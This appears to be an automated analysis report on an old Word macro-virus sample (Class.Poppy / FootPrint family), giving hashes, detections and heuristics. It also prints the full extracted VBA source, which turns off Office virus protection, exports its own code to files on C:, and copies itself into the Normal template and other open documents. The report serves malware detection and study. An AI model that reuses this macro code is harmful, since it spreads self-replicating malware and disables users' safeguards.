Office (OLE) malware analysis — malicious · 29a14513cbcc00d0

MALICIOUS

Office (OLE)

45.5 KB Created: 1999-11-18 09:10:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: a2c53c3908afa1d9dbfe4615dc602ef0 SHA-1: 07dac13c525297dd53f01989070c67adbeafd447 SHA-256: 29a14513cbcc00d0be5103899ca78c91fe53b8459499b27b885d992aa522f5cf

264 Risk Score

Malware Insights

MITRE ATT&CK

T1547.001 Registry Run Keys / Startup Folder T1059.005 Visual Basic

The sample contains legacy WordBasic macro virus markers and multiple VBA macros, including AutoOpen and AutoClose, indicating malicious intent. The script attempts to disable virus protection and copy its code to the Normal template, likely to achieve persistence. The embedded ClamAV detections further confirm its malicious nature.

Heuristics 7

ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Class-37
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
Options.VirusProtection = False
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Document_Open
```
Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
Sub AutoClose()
```
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6550 bytes
SHA-256: `c20344ff0de44bfbb1a453c524cefc39d3b5bde0363bae511727acb46195241e`
Detection ClamAV: Doc.Trojan.Class-5 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Sub AutoClose() 'OPEY A.10/7/99 8:34:12 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit Sub AutoOpen() 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit On Error GoTo out 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit Options.VirusProtection = False 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit Options.SaveNormalPrompt = False 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit Options.ConfirmConversions = False 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit ad = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit If nt > 70 And ad > 0 Then GoTo out 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit If nt < 70 Then 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit Set host = NormalTemplate.VBProject.VBComponents.Item(1) 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys" 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit End If 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1) 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy" 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit host.CodeModule.AddFromFile ("c:\class.sys") 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit With host.CodeModule 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit For x = 1 To 4 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit .DeleteLines 1 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit Next x 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit End With 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit If nt < 70 Then 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit With host.CodeModule 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit .replaceline 1, "Sub AutoClose()" 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit .replaceline 71, "Sub ToolsMacro()" 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit End With 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit End If 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit With host.CodeModule 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit For x = 2 To 72 Step 2 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow & Application.Assistant 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit Next x 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit End With 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit out: 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit Sub ToolsMacro() 'OPEY A.10/7/99 8:34:13 PMEPSON Stylus COLOR 440 on \\DENDOMAIN\EPSONSTYBhagsClippit Sub viewvbcode() 'Neuro6/14/99 2:52:23 PMEpson LX-800 on LPT1:BhagsClippit End Sub Private Sub Document_Close() On Error Resume Next Kill "c:\footprint.$$?" Document_Open End Sub Private Sub Document_New() Document_Open End Sub Private Sub Document_Open() On Error Resume Next Dim al As String Dim adoc As Document Dim atpl As Template Dim CoL As Integer ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$" Open "c:\footprint.$$$" For Input As #1 Open "c:\footprint.$$1" For Output As #2 Line Input #1, al Line Input #1, al Line Input #1, al Line Input #1, al While Not EOF(1) Line Input #1, al Print #2, al Wend Close 1 Close 2 For Each adoc In Documents adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName If Not adoc.CustomDocumentProperties("FootPrint1") Then adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1" End If Next For Each atpl In Templates If Not atpl.CustomDocumentProperties("FootPrint1") Then atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1" End If Next NormalTemplate.Save End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.